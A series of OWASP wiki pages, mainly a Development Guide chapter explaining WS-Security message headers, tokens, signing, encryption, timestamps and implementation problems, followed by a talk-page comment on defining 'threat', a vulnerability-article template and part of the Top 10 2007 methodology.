<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi... <br />
</wsse:BinarySecurityToken><br />
<xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"><br />
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/><br />
<dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><br />
<wsse:SecurityTokenReference><br />
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/><br />
</wsse:SecurityTokenReference> <br />
</dsig:KeyInfo><br />
<xenc:CipherData><br />
<xenc:CipherValue>Nb0Mf...</xenc:CipherValue><br />
</xenc:CipherData><br />
<xenc:ReferenceList><br />
<xenc:DataReference URI="#aDNa2iD"/><br />
</xenc:ReferenceList><br />
</xenc:EncryptedKey><br />
<wsse:SecurityTokenReference wsu:Id="aZG0sG"><br />
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier><br />
</wsse:SecurityTokenReference><br />
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"><br />
... <br />
</saml:Assertion><br />
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1"><br />
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created><br />
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires><br />
</wsu:Timestamp><br />
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7"><br />
<dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22"><br />
...<br />
<dsig:Reference URI="#s91397860"><br />
... <br />
<dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue><br />
</dsig:Reference><br />
</dsig:SignedInfo><br />
<dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue><br />
<dsig:KeyInfo><br />
<wsse:SecurityTokenReference><br />
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/><br />
</wsse:SecurityTokenReference><br />
</dsig:KeyInfo><br />
</dsig:Signature><br />
</wsse:Security><br />
</soap:Header><br />
<soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860"><br />
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content"><br />
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/><br />
<xenc:CipherData><br />
<xenc:CipherValue>XFM4J6C...</xenc:CipherValue><br />
</xenc:CipherData><br />
</xenc:EncryptedData><br />
</soap:Body><br />
</soap:Envelope><br />
<br />
===Types of tokens ===<br />
<br />
A WSS Header may have the following types of security tokens in it:<br />
<br />
* Username token<br />
<br />
Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash: <br />
<br />
Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )<br />
<br />
* Binary token<br />
<br />
They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.<br />
<br />
<br />
<br />
<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5"><br />
MIICtzCCAi...<br />
</wsse:BinarySecurityToken><br />
<br />
<br />
<br />
* XML token<br />
<br />
These are meant for any kind of XML-based tokens, but primarily â for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.<br />
<br />
<br />
<br />
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"><br />
... <br />
</saml:Assertion><br />
<br />
<br />
<br />
Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure messageâÂÂs freshness. See the further reading section for a design pattern on this.<br />
<br />
===Referencing message parts ===<br />
<br />
In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the messageâÂÂs XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.<br />
<br />
WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:<br />
<br />
<br />
<br />
<wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22"><br />
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"><br />
1106844369755<br />
</wsse:KeyIdentifier><br />
</wsse:SecurityTokenReference><br />
<br />
<br />
<br />
As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types â Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.<br />
<br />
==Communication Protection Mechanisms ==<br />
<br />
As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.<br />
[[Category:FIXME|Please check the reference (see 0)]]<br />
<br />
===Integrity ===<br />
<br />
WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.<br />
<br />
In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.<br />
[[Category:FIXME|Please check the reference (see 0)]]<br />
<br />
Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the âÂÂnaturalâ order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.<br />
<br />
===Confidentiality ===<br />
<br />
For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted elementâÂÂs data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipientâÂÂs public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.<br />
[[Category:FIXME|Please check the reference (see 0)]]<br />
<br />
===Freshness ===<br />
<br />
SOAP messagesâ freshness is addressed via timestamp mechanism â each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this âÂÂsingle timestamptâ approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.<br />
<br />
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1"><br />
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created><br />
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires><br />
</wsu:Timestamp><br />
<br />
If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) â this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.<br />
<br />
==Access Control Mechanisms ==<br />
<br />
When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves â they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints. <br />
<br />
For more complete description of access control tasks, please, refer to other sections of this Development Guide.<br />
<br />
===Identification ===<br />
<br />
Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be. <br />
<br />
WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiverâÂÂs job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.<br />
[[Category:FIXME|Please check the reference (see 0)]]<br />
<br />
===Authentication ===<br />
<br />
Authentication can come in two flavors â credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain userâÂÂs identity along with the proof of its integrity. <br />
<br />
WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web ServiceâÂÂs discretion. Whether it takes the supplied username and passwordâÂÂs hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store â at the moment, there are no requirements or standards which would dictate that it should be done one way or another. <br />
<br />
===Authorization ===<br />
<br />
XACML may be used for expressing authorization rules, but its usage is not Web Service-specific â it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well. <br />
<br />
Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.<br />
<br />
===Policy Agreement ===<br />
<br />
Normally, Web Servicesâ communication is based on the endpointâÂÂs public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpointâÂÂs security requirements. <br />
<br />
To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them â for security, WS-SecurityPolicy.<br />
<br />
If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity. <br />
<br />
[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]<br />
<br />
Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Servicesâ security infrastructure is not a complete black box.<br />
<br />
==Forming Web Service Chains ==<br />
<br />
Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process. <br />
<br />
[[Image:Service Chain.gif|Figure 6: Service chain]]<br />
<br />
This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them â security concerns about publicly exposing processing functions to intra- or Internet-based clients. <br />
<br />
Here are just a few of the issues that hamper Web Services interaction â incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging usersâ attributes. These issues will be briefly tackled in the following paragraphs.<br />
<br />
===Incompatible user access control models ===<br />
<br />
As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.<br />
[[Category:FIXME|Please check the reference (see 0)]]<br />
<br />
===Service trust ===<br />
<br />
In order to establish mutual trust between client and service, they have to satisfy each otherâÂÂs policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each otherâÂÂs identities prior to engaging in a conversation.<br />
<br />
===Secure connections ===<br />
<br />
Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a clientâÂÂs session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.<br />
[[Category:FIXME|Please check the reference (see 0)]]<br />
<br />
===Synchronization of user directories ===<br />
<br />
This is a very acute problem when dealing with cross-domain applications, as usersâ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust userâÂÂs claim that he has been already authenticated in domain A? There exist different aspects of this problem. First â a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user. <br />
<br />
===Domain federation ===<br />
<br />
Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customersâ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LAâÂÂs website does list some case studies of large-scale projects.<br />
<br />
==Available Implementations ==<br />
<br />
It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges â it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.<br />
<br />
===.NET â Web Service Extensions ===<br />
<br />
Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still âÂÂwork in progressâÂÂ. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas. [[Category:FIXME|old dates, is this current info?]]<br />
<br />
Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures. <br />
<br />
This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-SecurityâÂÂs and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said â WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.<br />
<br />
===Java toolkits ===<br />
<br />
Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc â such as IBMâÂÂs XML Security Suite and ApacheâÂÂs XML Security Java project. JavaâÂÂs JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed. <br />
<br />
Moving one level up, to address Web Services themselves, the picture becomes muddier â at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.<br />
<br />
A popular choice among Web Service developers today is SunâÂÂs JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web ServiceâÂÂs implementation.<br />
<br />
===Hardware, software systems ===<br />
<br />
This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand â its usage model is rigidly constrained by the solutionâÂÂs architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products⦠or to shoot themselves in the foot by applying them inappropriately.<br />
<br />
These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.<br />
<br />
Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity â a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.<br />
<br />
For hardware systems, performance is the key â they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however â this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.<br />
<br />
==Problems ==<br />
<br />
As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.<br />
<br />
===Immaturity of the standards ===<br />
<br />
Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field. <br />
<br />
Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.<br />
[[Category:FIXME|Please check the reference (see 0)]]<br />
<br />
===Performance ===<br />
<br />
XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success. <br />
<br />
Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least â not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution â they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.<br />
<br />
===Complexity and interoperability ===<br />
<br />
As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions. <br />
<br />
In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standardâÂÂs bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-IâÂÂs Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.<br />
<br />
===Key management ===<br />
<br />
Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.<br />
<br />
==Further Reading ==<br />
<br />
* SearchSOA, SOA needs practical operational governance, Toufic Boubez<br />
<br />
<u>http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698</u><br />
<br />
* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs<br />
<br />
<u>http://layer7tech.com/new/library/custompage.html?id=4</u><br />
<br />
* eBizQ, The Challenges of SOA Security, Peter Schooff<br />
<br />
<u>http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php</u><br />
<br />
* Piliptchouk, D., WS-Security in the Enterprise, OâÂÂReilly ONJava<br />
<br />
<u>http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html</u> <br />
<br />
<u>http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html</u> <br />
<br />
* WS-Security OASIS site<br />
<br />
<u>http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss</u> <br />
<br />
* Microsoft, ''WhatâÂÂs new with WSE 3.0''<br />
<br />
<u>http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp</u> <br />
<br />
* Eoin Keary, Preventing DOS attacks on web services<br />
<br />
<u>https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices</u><br />
[[category:FIXME | broken link]]<br><br />
<br />
==Reference==<br />
[[Guide Table of Contents|Development Guide Table of Contents]]<br />
[[Category:OWASP_Guide_Project]]<br />
[[Category:Web Services]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category_talk:Threat&diff=63512
Category talk:Threat
2009-06-03T12:50:29Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>I would argue (no surpise there) that threat has little to do with "the potential (or likelihood)" of something bad happening. Instead, a threat should be understood as the "bad happening" itself. In other words, it is the description of that atomic event. Potential and likelihood artifically introduce the concept that a threat is to be understood within the context of probability. I don't think that the definition of threat can, nor should it bear this additional criteria. The concepts of potential and likelihood are more appropriate in describing risk.</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Incomplete_Element&diff=63511
Incomplete Element
2009-06-03T12:50:28Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
<br />
#REDIRECT [[:: Category:Vulnerability]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
A vulnerability is a weakness in an application (frequently a broken or missing control) that enables an attack to succeed. Be sure you don't put [attacks] or [controls] in this category.<br />
<br />
# Start with a one-sentence description of the vulnerability<br />
# What is the problem that creates the vulnerability?<br />
# What are the attacks that target this vulnerability?<br />
# What are the technical impacts of this vulnerability?<br />
<br />
<br />
==Risk Factors==<br />
<br />
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen<br />
* Discuss the technical impact of a successful exploit of this vulnerability<br />
* Consider the likely [business impacts] of a successful attack<br />
<br />
<br />
==Examples==<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:<br />
<br />
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].<br />
* http://www.link1.com<br />
* [http://www.link2.com Title for the link2]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Top_10_2007-Methodology&diff=63510
Top 10 2007-Methodology
2009-06-03T12:50:27Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Cross Site Scripting|useprev=PrevLink|prev=|usemain=MainLink|main=}}<br />
<br />
<br />
<br />
Our methodology for the Top 10 2007 was simple: take the [http://cwe.mitre.org/documents/vuln-trends.html MITRE Vulnerability Trends for 2006], and distill the Top 10 ''web application security ''issues. The ranked results are as follows:<br />
<br />
'''[[Image:Top_10_2007-MitreDataChart.gif|thumb|650px|center|<div align="center">(Click chart to view full-size version)</div>]]'''<br />
<br />
'''<center>Figure 2: MITRE data on Top 10 web application vulnerabilities for 2006</center>'''<br />
<br />
Although we tried to preserve a one to one mapping of MITRE raw vulnerability data to our section headings, we have deliberately changed some of the later categories to more closely map to root causes. If you are interested in the final 2006 data from MITRE, we have included an Excel worksheet on the OWASP Top 10 web site.<br />
<br />
All of the protection recommendations provide solutions for the three most prevalent web application frameworks: Java EE, ASP.NET, and PHP. Other common web application frameworks, such as Ruby on Rails or Perl can easily adapt the recommendations to suit their specific needs.<br />
<br />
== Why we have dropped some important issues ==<br />
<br />
'''Unvalidated input''' is a major challenge for any development team, and is at the root of many application security problems. In fact, many of the other items in the list recommend validating input as a part of the solution. We still strongly recommend creating a centralized input validation mechanism as a part of your web applications. For more information, read the following data validation articles at OWASP:<br />
<br />
*[http://www.owasp.org/index.php/Data_Validation http://www.owasp.org/index.php/Data_Validation]<br />
*[http://www.owasp.org/index.php/Testing_for_Data_Validation http://www.owasp.org/index.php/Testing_for_Data_Validation]<br />
'''Buffer overflows, integer overflows and format string issues''' are extremely serious vulnerabilities for programs written in languages such as C or C++. Remediation for these issues is covered by the traditional non-web application security community, such as SANS, CERT, and programming language tool vendors. If your code is written in a language that is likely to suffer buffer overflows, we encourage you to read the buffer overflow content on OWASP:<br />
<br />
*[http://www.owasp.org/index.php/Buffer_overflow http://www.owasp.org/index.php/Buffer_overflow] <br />
*[http://www.owasp.org/index.php/Testing_for_Buffer_Overflow http://www.owasp.org/index.php/Testing_for_Buffer_Overflow] <br />
'''Denial of service''' is a serious attack that can affect any site written in any language. The ranking of DoS by MITRE is insufficient to make the Top 10 this year. If you have concerns about denial of service, you should consult the OWASP site and Testing Guide:<br />
<br />
*[http://www.owasp.org/index.php/Category:Denial_of_Service_Attack http://www.owasp.org/index.php/Category:Denial_of_Service_Attack] <br />
*[http://www.owasp.org/index.php/Testing_for_Denial_of_Service http://www.owasp.org/index.php/Testing_for_Denial_of_Service] <br />
'''Insecure configuration management''' affects all systems to some extent, particularly PHP. However, the ranking by MITRE does not allow us to include this issue this year. When deploying your application, you should consult the latest OWASP Development Guide and the OWASP Testing Guide for detailed information regarding secure configuration management and testing:<br />
<br />
*[http://www.owasp.org/index.php/Configuration http://www.owasp.org/index.php/Configuration]<br />
